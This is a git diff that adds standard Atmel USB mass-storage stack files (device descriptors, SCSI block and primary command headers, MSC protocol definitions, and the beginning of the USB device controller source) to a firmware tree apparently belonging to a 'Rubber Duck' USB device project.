sizeof(usb_conf_desc_t), + .conf.bDescriptorType = USB_DT_CONFIGURATION, + .conf.wTotalLength = LE16(sizeof(udc_desc_t)), + .conf.bNumInterfaces = USB_DEVICE_NB_INTERFACE, + .conf.bConfigurationValue = 1, + .conf.iConfiguration = 0, + .conf.bmAttributes = USB_CONFIG_ATTR_MUST_SET | USB_DEVICE_ATTR, + .conf.bMaxPower = USB_CONFIG_MAX_POWER(USB_DEVICE_POWER), + .udi_msc = UDI_MSC_DESC_HS, +}; +#endif + + +/** + * \name UDC structures which contains all USB Device definitions + */ +//@{ + +//! Associate an UDI for each USB interface +UDC_DESC_STORAGE udi_api_t *udi_apis[USB_DEVICE_NB_INTERFACE] = { + &udi_api_msc, +}; + +//! Add UDI with USB Descriptors FS +UDC_DESC_STORAGE udc_config_speed_t udc_config_lsfs[1] = {{ + .desc = (usb_conf_desc_t UDC_DESC_STORAGE*)&udc_desc_fs, + .udi_apis = udi_apis, +}}; + +#ifdef USB_DEVICE_HS_SUPPORT +//! Add UDI with USB Descriptors HS +UDC_DESC_STORAGE udc_config_speed_t udc_config_hs[1] = {{ + .desc = (usb_conf_desc_t UDC_DESC_STORAGE*)&udc_desc_hs, + .udi_apis = udi_apis, +}}; +#endif + +//! Add all information about USB Device in global structure for UDC +UDC_DESC_STORAGE udc_config_t udc_config = { + .confdev_lsfs = &udc_device_desc, + .conf_lsfs = udc_config_lsfs, +#ifdef USB_DEVICE_HS_SUPPORT + .confdev_hs = &udc_device_desc, + .qualifier = &udc_device_qual, + .conf_hs = udc_config_hs, +#endif +}; + +//@} +/**INDENT-ON**/ +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/sbc_protocol.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/sbc_protocol.h new file mode 100755 index 0000000..f1faf16 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/sbc_protocol.h @@ -0,0 +1,167 @@ +/** + * \file + * + * \brief SCSI Block Commands + * + * This file contains definitions of some of the commands found in the + * SCSI SBC-2 standard. + * + * Note that the SBC specification depends on several commands defined + * by the SCSI Primary Commands (SPC) standard. Each version of the SBC + * standard is meant to be used in conjunction with a specific version + * of the SPC standard, as follows: + * - SBC depends on SPC + * - SBC-2 depends on SPC-3 + * - SBC-3 depends on SPC-4 + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef _SBC_PROTOCOL_H_ +#define _SBC_PROTOCOL_H_ + + +/** + * \ingroup usb_msc_protocol + * \defgroup usb_sbc_protocol SCSI Block Commands protocol definitions + * + * @{ + */ + +//! \name SCSI commands defined by SBC-2 +//@{ +#define SBC_FORMAT_UNIT 0x04 +#define SBC_READ6 0x08 +#define SBC_WRITE6 0x0A +#define SBC_START_STOP_UNIT 0x1B +#define SBC_READ_CAPACITY10 0x25 +#define SBC_READ10 0x28 +#define SBC_WRITE10 0x2A +#define SBC_VERIFY10 0x2F +//@} + +//! \name SBC-2 Mode page definitions +//@{ + +enum scsi_sbc_mode { + SCSI_MS_MODE_RW_ERR_RECOV = 0x01, //!< Read-Write Error Recovery mode page + SCSI_MS_MODE_FORMAT_DEVICE = 0x03, //!< Format Device mode page + SCSI_MS_MODE_FLEXIBLE_DISK = 0x05, //!< Flexible Disk mode page + SCSI_MS_MODE_CACHING = 0x08, //!< Caching mode page +}; + + +//! \name SBC-2 Device-Specific Parameter +//@{ +#define SCSI_MS_SBC_WP 0x80 //!< Write Protected +#define SCSI_MS_SBC_DPOFUA 0x10 //!< DPO and FUA supported +//@} + +/** + * \brief SBC-2 Short LBA mode parameter block descriptor + */ +struct sbc_slba_block_desc { + be32_t nr_blocks; //!< Number of Blocks + be32_t block_len; //!< Block Length +#define SBC_SLBA_BLOCK_LEN_MASK 0x00FFFFFFU //!< Mask reserved bits +}; + +/** + * \brief SBC-2 Caching mode page + */ +struct sbc_caching_mode_page { + uint8_t page_code; + uint8_t page_length; + uint8_t flags2; +#define SBC_MP_CACHE_IC (1 << 7) //!< Initiator Control +#define SBC_MP_CACHE_ABPF (1 << 6) //!< Abort Pre-Fetch +#define SBC_MP_CACHE_CAP (1 << 5) //!< Catching Analysis Permitted +#define SBC_MP_CACHE_DISC (1 << 4) //!< Discontinuity +#define SBC_MP_CACHE_SIZE (1 << 3) //!< Size enable +#define SBC_MP_CACHE_WCE (1 << 2) //!< Write back Cache Enable +#define SBC_MP_CACHE_MF (1 << 1) //!< Multiplication Factor +#define SBC_MP_CACHE_RCD (1 << 0) //!< Read Cache Disable + uint8_t retention; + be16_t dis_pf_transfer_len; + be16_t min_prefetch; + be16_t max_prefetch; + be16_t max_prefetch_ceil; + uint8_t flags12; +#define SBC_MP_CACHE_FSW (1 << 7) //!< Force Sequential Write +#define SBC_MP_CACHE_LBCSS (1 << 6) //!< Logical Blk Cache Seg Sz +#define SBC_MP_CACHE_DRA (1 << 5) //!< Disable Read-Ahead +#define SBC_MP_CACHE_NV_DIS (1 << 0) //!< Non-Volatile Cache Disable + uint8_t nr_cache_segments; + be16_t cache_segment_size; + uint8_t reserved[4]; +}; + +/** + * \brief SBC-2 Read-Write Error Recovery mode page + */ +struct sbc_rdwr_error_recovery_mode_page { + uint8_t page_code; + uint8_t page_length; +#define SPC_MP_RW_ERR_RECOV_PAGE_LENGTH 0x0A + uint8_t flags1; +#define SBC_MP_RW_ERR_RECOV_AWRE (1 << 7) +#define SBC_MP_RW_ERR_RECOV_ARRE (1 << 6) +#define SBC_MP_RW_ERR_RECOV_TB (1 << 5) +#define SBC_MP_RW_ERR_RECOV_RC (1 << 4) +#define SBC_MP_RW_ERR_RECOV_ERR (1 << 3) +#define SBC_MP_RW_ERR_RECOV_PER (1 << 2) +#define SBC_MP_RW_ERR_RECOV_DTE (1 << 1) +#define SBC_MP_RW_ERR_RECOV_DCR (1 << 0) + uint8_t read_retry_count; + uint8_t correction_span; + uint8_t head_offset_count; + uint8_t data_strobe_offset_count; + uint8_t flags2; + uint8_t write_retry_count; + uint8_t flags3; + be16_t recovery_time_limit; +}; +//@} + +/** + * \brief SBC-2 READ CAPACITY (10) parameter data + */ +struct sbc_read_capacity10_data { + be32_t max_lba; //!< LBA of last logical block + be32_t block_len; //!< Number of bytes in the last logical block +}; + +//@} + +#endif // _SBC_PROTOCOL_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/spc_protocol.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/spc_protocol.h new file mode 100755 index 0000000..133bdb7 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/spc_protocol.h @@ -0,0 +1,331 @@ +/** + * \file + * + * \brief SCSI Primary Commands + * + * This file contains definitions of some of the commands found in the + * SPC-2 standard. + * + * Copyright (c) 2009-2012 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef _SPC_PROTOCOL_H_ +#define _SPC_PROTOCOL_H_ + + +/** + * \ingroup usb_msc_protocol + * \defgroup usb_spc_protocol SCSI Primary Commands protocol definitions + * + * @{ + */ + +//! \name SCSI commands defined by SPC-2 +//@{ +#define SPC_TEST_UNIT_READY 0x00 +#define SPC_REQUEST_SENSE 0x03 +#define SPC_INQUIRY 0x12 +#define SPC_MODE_SELECT6 0x15 +#define SPC_MODE_SENSE6 0x1A +#define SPC_SEND_DIAGNOSTIC 0x1D +#define SPC_PREVENT_ALLOW_MEDIUM_REMOVAL 0x1E +#define SPC_MODE_SENSE10 0x5A +#define SPC_REPORT_LUNS 0xA0 +//@} + +//! \brief May be set in byte 0 of the INQUIRY CDB +//@{ +//! Enable Vital Product Data +#define SCSI_INQ_REQ_EVPD 0x01 +//! Command Support Data specified by the PAGE OR OPERATION CODE field +#define SCSI_INQ_REQ_CMDT 0x02 +//@} + +COMPILER_PACK_SET(1); + +/** + * \brief SCSI Standard Inquiry data structure + */ +struct scsi_inquiry_data { + uint8_t pq_pdt; //!< Periph Qual / Periph Dev Type +#define SCSI_INQ_PQ_CONNECTED 0x00 //!< Peripheral connected +#define SCSI_INQ_PQ_NOT_CONN 0x20 //!< Peripheral not connected +#define SCSI_INQ_PQ_NOT_SUPP 0x60 //!< Peripheral not supported +#define SCSI_INQ_DT_DIR_ACCESS 0x00 //!< Direct Access (SBC) +#define SCSI_INQ_DT_SEQ_ACCESS 0x01 //!< Sequential Access +#define SCSI_INQ_DT_PRINTER 0x02 //!< Printer +#define SCSI_INQ_DT_PROCESSOR 0x03 //!< Processor device +#define SCSI_INQ_DT_WRITE_ONCE 0x04 //!< Write-once device +#define SCSI_INQ_DT_CD_DVD 0x05 //!< CD/DVD device +#define SCSI_INQ_DT_OPTICAL 0x07 //!< Optical Memory +#define SCSI_INQ_DT_MC 0x08 //!< Medium Changer +#define SCSI_INQ_DT_ARRAY 0x0c //!< Storage Array Controller +#define SCSI_INQ_DT_ENCLOSURE 0x0d //!< Enclosure Services +#define SCSI_INQ_DT_RBC 0x0e //!< Simplified Direct Access +#define SCSI_INQ_DT_OCRW 0x0f //!< Optical card reader/writer +#define SCSI_INQ_DT_BCC 0x10 //!< Bridge Controller Commands +#define SCSI_INQ_DT_OSD 0x11 //!< Object-based Storage +#define SCSI_INQ_DT_NONE 0x1f //!< No Peripheral + uint8_t flags1; //!< Flags (byte 1) +#define SCSI_INQ_RMB 0x80 //!< Removable Medium + uint8_t version; //!< Version +#define SCSI_INQ_VER_NONE 0x00 //!< No standards conformance +#define SCSI_INQ_VER_SPC 0x03 //!< SCSI Primary Commands (link to SBC) +#define SCSI_INQ_VER_SPC2 0x04 //!< SCSI Primary Commands - 2 (link to SBC-2) +#define SCSI_INQ_VER_SPC3 0x05 //!< SCSI Primary Commands - 3 (link to SBC-2) +#define SCSI_INQ_VER_SPC4 0x06 //!< SCSI Primary Commands - 4 (link to SBC-3) + uint8_t flags3; //!< Flags (byte 3) +#define SCSI_INQ_NORMACA 0x20 //!< Normal ACA Supported +#define SCSI_INQ_HISUP 0x10 //!< Hierarchial LUN addressing +#define SCSI_INQ_RSP_SPC2 0x02 //!< SPC-2 / SPC-3 response format + uint8_t addl_len; //!< Additional Length (n-4) +#define SCSI_INQ_ADDL_LEN(tot) ((tot)-5) //!< Total length is \a tot + uint8_t flags5; //!< Flags (byte 5) +#define SCSI_INQ_SCCS 0x80 + uint8_t flags6; //!< Flags (byte 6) +#define SCSI_INQ_BQUE 0x80 +#define SCSI_INQ_ENCSERV 0x40 +#define SCSI_INQ_MULTIP 0x10 +#define SCSI_INQ_MCHGR 0x08 +#define SCSI_INQ_ADDR16 0x01 + uint8_t flags7; //!< Flags (byte 7) +#define SCSI_INQ_WBUS16 0x20 +#define SCSI_INQ_SYNC 0x10 +#define SCSI_INQ_LINKED 0x08 +#define SCSI_INQ_CMDQUE 0x02 + uint8_t vendor_id[8]; //!< T10 Vendor Identification + uint8_t product_id[16]; //!< Product Identification + uint8_t product_rev[4]; //!< Product Revision Level +}; + +/** + * \brief SCSI Standard Request sense data structure + */ +struct scsi_request_sense_data { + /* 1st byte: REQUEST SENSE response flags*/ + uint8_t valid_reponse_code; +#define SCSI_SENSE_VALID 0x80 //!< Indicates the INFORMATION field contains valid information +#define SCSI_SENSE_RESPONSE_CODE_MASK 0x7F +#define SCSI_SENSE_CURRENT 0x70 //!< Response code 70h (current errors) +#define SCSI_SENSE_DEFERRED 0x71 + + /* 2nd byte */ + uint8_t obsolete; + + /* 3rd byte */ + uint8_t sense_flag_key; +#define SCSI_SENSE_FILEMARK 0x80 //!< Indicates that the current command has read a filemark or setmark. +#define SCSI_SENSE_EOM 0x40 //!< Indicates that an end-of-medium condition exists. +#define SCSI_SENSE_ILI 0x20 //!< Indicates that the requested logical block length did not match the logical block length of the data on the medium. +#define SCSI_SENSE_RESERVED 0x10 //!< Reserved +#define SCSI_SENSE_KEY(x) (x&0x0F) //!< Sense Key + + /* 4th to 7th bytes - INFORMATION field */ + uint8_t information[4]; + + /* 8th byte - ADDITIONAL SENSE LENGTH field */ + uint8_t AddSenseLen; +#define SCSI_SENSE_ADDL_LEN(total_len) ((total_len) - 8) + + /* 9th to 12th byte - COMMAND-SPECIFIC INFORMATION field */ + uint8_t CmdSpecINFO[4]; + + /* 13th byte - ADDITIONAL SENSE CODE field */ + uint8_t AddSenseCode; + + /* 14th byte - ADDITIONAL SENSE CODE QUALIFIER field */ + uint8_t AddSnsCodeQlfr; + + /* 15th byte - FIELD REPLACEABLE UNIT CODE field */ + uint8_t FldReplUnitCode; + + /* 16th byte */ + uint8_t SenseKeySpec[3]; +#define SCSI_SENSE_SKSV 0x80 //!< Indicates the SENSE-KEY SPECIFIC field contains valid information +}; + +COMPILER_PACK_RESET(); + +/* Vital Product Data page codes */ +enum scsi_vpd_page_code { + SCSI_VPD_SUPPORTED_PAGES = 0x00, + SCSI_VPD_UNIT_SERIAL_NUMBER = 0x80, + SCSI_VPD_DEVICE_IDENTIFICATION = 0x83, +}; +#define SCSI_VPD_HEADER_SIZE 4 + +/* Constants associated with the Device Identification VPD page */ +#define SCSI_VPD_ID_HEADER_SIZE 4 + +#define SCSI_VPD_CODE_SET_BINARY 1 +#define SCSI_VPD_CODE_SET_ASCII 2 +#define SCSI_VPD_CODE_SET_UTF8 3 + +#define SCSI_VPD_ID_TYPE_T10 1 + + +/* Sense keys */ +enum scsi_sense_key { + SCSI_SK_NO_SENSE = 0x0, + SCSI_SK_RECOVERED_ERROR = 0x1, + SCSI_SK_NOT_READY = 0x2, + SCSI_SK_MEDIUM_ERROR = 0x3, + SCSI_SK_HARDWARE_ERROR = 0x4, + SCSI_SK_ILLEGAL_REQUEST = 0x5, + SCSI_SK_UNIT_ATTENTION = 0x6, + SCSI_SK_DATA_PROTECT = 0x7, + SCSI_SK_BLANK_CHECK = 0x8, + SCSI_SK_VENDOR_SPECIFIC = 0x9, + SCSI_SK_COPY_ABORTED = 0xa, + SCSI_SK_ABORTED_COMMAND = 0xb, + SCSI_SK_VOLUME_OVERFLOW = 0xd, + SCSI_SK_MISCOMPARE = 0xe, +}; + +/* Additional Sense Code / Additional Sense Code Qualifier pairs */ +enum scsi_asc_ascq { + SCSI_ASC_NO_ADDITIONAL_SENSE_INFO = 0x0000, + SCSI_ASC_LU_NOT_READY_REBUILD_IN_PROGRESS = 0x0405, + SCSI_ASC_WRITE_ERROR = 0x0c00, + SCSI_ASC_UNRECOVERED_READ_ERROR = 0x1100, + SCSI_ASC_INVALID_COMMAND_OPERATION_CODE = 0x2000, + SCSI_ASC_INVALID_FIELD_IN_CDB = 0x2400, + SCSI_ASC_WRITE_PROTECTED = 0x2700, + SCSI_ASC_NOT_READY_TO_READY_CHANGE = 0x2800, + SCSI_ASC_MEDIUM_NOT_PRESENT = 0x3A00, + SCSI_ASC_INTERNAL_TARGET_FAILURE = 0x4400, +}; + +/** + * \brief SPC-2 Mode parameter + * This subclause describes the block descriptors and the pages + * used with MODE SELECT and MODE SENSE commands + * that are applicable to all SCSI devices. + */ +enum scsi_spc_mode { + SCSI_MS_MODE_VENDOR_SPEC = 0x00, + SCSI_MS_MODE_INFEXP = 0x1C, // Informational exceptions control page + SCSI_MS_MODE_ALL = 0x3f, +}; + +/** + * \brief SPC-2 Informational exceptions control page + * See chapter 8.3.8 + */ +struct spc_control_page_info_execpt { + uint8_t page_code; + uint8_t page_length; +#define SPC_MP_INFEXP_PAGE_LENGTH 0x0A + uint8_t flags1; +#define SPC_MP_INFEXP_PERF (1<<7) //!< Initiator Control +#define SPC_MP_INFEXP_EBF (1<<5) //!< Caching Analysis Permitted +#define SPC_MP_INFEXP_EWASC (1<<4) //!< Discontinuity +#define SPC_MP_INFEXP_DEXCPT (1<<3) //!< Size enable +#define SPC_MP_INFEXP_TEST (1<<2) //!< Writeback Cache Enable +#define SPC_MP_INFEXP_LOGERR (1<<0) //!< Log errors bit + uint8_t mrie; +#define SPC_MP_INFEXP_MRIE_NO_REPORT 0x00 +#define SPC_MP_INFEXP_MRIE_ASYNC_EVENT 0x01 +#define SPC_MP_INFEXP_MRIE_GEN_UNIT 0x02 +#define SPC_MP_INFEXP_MRIE_COND_RECOV_ERROR 0x03 +#define SPC_MP_INFEXP_MRIE_UNCOND_RECOV_ERROR 0x04 +#define SPC_MP_INFEXP_MRIE_NO_SENSE 0x05 +#define SPC_MP_INFEXP_MRIE_ONLY_REPORT 0x06 + be32_t interval_timer; + be32_t report_count; +}; + + +enum scsi_spc_mode_sense_pc { + SCSI_MS_SENSE_PC_CURRENT = 0, + SCSI_MS_SENSE_PC_CHANGEABLE = 1, + SCSI_MS_SENSE_PC_DEFAULT = 2, + SCSI_MS_SENSE_PC_SAVED = 3, +}; + + + +static inline bool scsi_mode_sense_dbd_is_set(const uint8_t * cdb) +{ + return (cdb[1] >> 3) & 1; +} + +static inline uint8_t scsi_mode_sense_get_page_code(const uint8_t * cdb) +{ + return cdb[2] & 0x3f; +} + +static inline uint8_t scsi_mode_sense_get_pc(const uint8_t * cdb) +{ + return cdb[2] >> 6; +} + +/** + * \brief SCSI Mode Parameter Header used by MODE SELECT(6) and MODE + * SENSE(6) + */ +struct scsi_mode_param_header6 { + uint8_t mode_data_length; //!< Number of bytes after this + uint8_t medium_type; //!< Medium Type + uint8_t device_specific_parameter; //!< Defined by command set + uint8_t block_descriptor_length; //!< Length of block descriptors +}; + +/** + * \brief SCSI Mode Parameter Header used by MODE SELECT(10) and MODE + * SENSE(10) + */ +struct scsi_mode_param_header10 { + be16_t mode_data_length; //!< Number of bytes after this + uint8_t medium_type; //!< Medium Type + uint8_t device_specific_parameter; //!< Defined by command set + uint8_t flags4; //!< LONGLBA in bit 0 + uint8_t reserved; + be16_t block_descriptor_length; //!< Length of block descriptors +}; + +/** + * \brief SCSI Page_0 Mode Page header (SPF not set) + */ +struct scsi_mode_page_0_header { + uint8_t page_code; +#define SCSI_PAGE_CODE_PS (1 << 7) //!< Parameters Saveable +#define SCSI_PAGE_CODE_SPF (1 << 6) //!< SubPage Format + uint8_t page_length; //!< Number of bytes after this +#define SCSI_MS_PAGE_LEN(total) ((total) - 2) +}; + +//@} + +#endif // SPC_PROTOCOL_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/usb_protocol_msc.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/usb_protocol_msc.h new file mode 100755 index 0000000..8730506 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/usb_protocol_msc.h @@ -0,0 +1,141 @@ +/** + * \file + * + * \brief USB Mass Storage Class (MSC) protocol definitions. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _USB_PROTOCOL_MSC_H_ +#define _USB_PROTOCOL_MSC_H_ + + +/** + * \ingroup usb_protocol_group + * \defgroup usb_msc_protocol USB Mass Storage Class (MSC) protocol definitions + * + * @{ + */ + +/** + * \name Possible Class value + */ +//@{ +#define MSC_CLASS 0x08 +//@} + +/** + * \name Possible SubClass value + * \note In practice, most devices should use + * #MSC_SUBCLASS_TRANSPARENT and specify the actual command set in + * the standard INQUIRY data block, even if the MSC spec indicates + * otherwise. In particular, RBC is not supported by certain major + * operating systems like Windows XP. + */ +//@{ +#define MSC_SUBCLASS_RBC 0x01 //!< Reduced Block Commands +#define MSC_SUBCLASS_ATAPI 0x02 //!< CD/DVD devices +#define MSC_SUBCLASS_QIC_157 0x03 //!< Tape devices +#define MSC_SUBCLASS_UFI 0x04 //!< Floppy disk drives +#define MSC_SUBCLASS_SFF_8070I 0x05 //!< Floppy disk drives +#define MSC_SUBCLASS_TRANSPARENT 0x06 //!< Determined by INQUIRY +//@} + +/** + * \name Possible protocol value + * \note Only the BULK protocol should be used in new designs. + */ +//@{ +#define MSC_PROTOCOL_CBI 0x00 //!< Command/Bulk/Interrupt +#define MSC_PROTOCOL_CBI_ALT 0x01 //!< W/o command completion +#define MSC_PROTOCOL_BULK 0x50 //!< Bulk-only +//@} + + +/** + * \brief MSC USB requests (bRequest) + */ +enum usb_reqid_msc { + USB_REQ_MSC_BULK_RESET = 0xFF, //!< Mass Storage Reset + USB_REQ_MSC_GET_MAX_LUN = 0xFE, //!< Get Max LUN +}; + + +COMPILER_PACK_SET(1); + +/** + * \name A Command Block Wrapper (CBW). + */ +//@{ +struct usb_msc_cbw { + le32_t dCBWSignature; //!< Must contain 'USBC' + le32_t dCBWTag; //!< Unique command ID + le32_t dCBWDataTransferLength; //!< Number of bytes to transfer + uint8_t bmCBWFlags; //!< Direction in bit 7 + uint8_t bCBWLUN; //!< Logical Unit Number + uint8_t bCBWCBLength; //!< Number of valid CDB bytes + uint8_t CDB[16]; //!< SCSI Command Descriptor Block +}; + +#define USB_CBW_SIGNATURE 0x55534243 //!< dCBWSignature value +#define USB_CBW_DIRECTION_IN (1<<7) //!< Data from device to host +#define USB_CBW_DIRECTION_OUT (0<<7) //!< Data from host to device +#define USB_CBW_LUN_MASK 0x0F //!< Valid bits in bCBWLUN +#define USB_CBW_LEN_MASK 0x1F //!< Valid bits in bCBWCBLength +//@} + + +/** + * \name A Command Status Wrapper (CSW). + */ +//@{ +struct usb_msc_csw { + le32_t dCSWSignature; //!< Must contain 'USBS' + le32_t dCSWTag; //!< Same as dCBWTag + le32_t dCSWDataResidue; //!< Number of bytes not transfered + uint8_t bCSWStatus; //!< Status code +}; + +#define USB_CSW_SIGNATURE 0x55534253 //!< dCSWSignature value +#define USB_CSW_STATUS_PASS 0x00 //!< Command Passed +#define USB_CSW_STATUS_FAIL 0x01 //!< Command Failed +#define USB_CSW_STATUS_PE 0x02 //!< Phase Error +//@} + +COMPILER_PACK_RESET(); + +//@} + +#endif // _USB_PROTOCOL_MSC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udc.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udc.c new file mode 100755 index 0000000..7e2d4ed --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/udc/udc.c @@ -0,0 +1,1083 @@ +/** + * \file + * + * \brief USB Device Controller (UDC) + * + * Copyright (c) 2009 - 2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udd.h" +#include "udc_desc.h" +#include "udi.h" +#include "udc.h" + +/** + * \addtogroup udc_group + * @{ + */ + +//! \name Internal variables to manage the USB device +//! @{ + +//! Device status state (see enum usb_device_status in usb_protocol.h) +static le16_t udc_device_status; + +//! Device Configuration number selected by the USB host +static uint8_t udc_num_configuration = 0; + +//! Pointer on the selected speed device configuration +static udc_config_speed_t UDC_DESC_STORAGE *udc_ptr_conf; + +//! Pointer on interface descriptor used by SETUP request. +static usb_iface_desc_t UDC_DESC_STORAGE *udc_ptr_iface; + +//! @} + + +//! \name Internal structure to store the USB device main strings +//! @{ + +/** + * \brief Language ID of USB device (US ID by default) + */ +COMPILER_WORD_ALIGNED +static UDC_DESC_STORAGE usb_str_lgid_desc_t udc_string_desc_languageid = { + .desc.bLength = sizeof(usb_str_lgid_desc_t), + .desc.bDescriptorType = USB_DT_STRING, + .string = {LE16(USB_LANGID_EN_US)} +}; 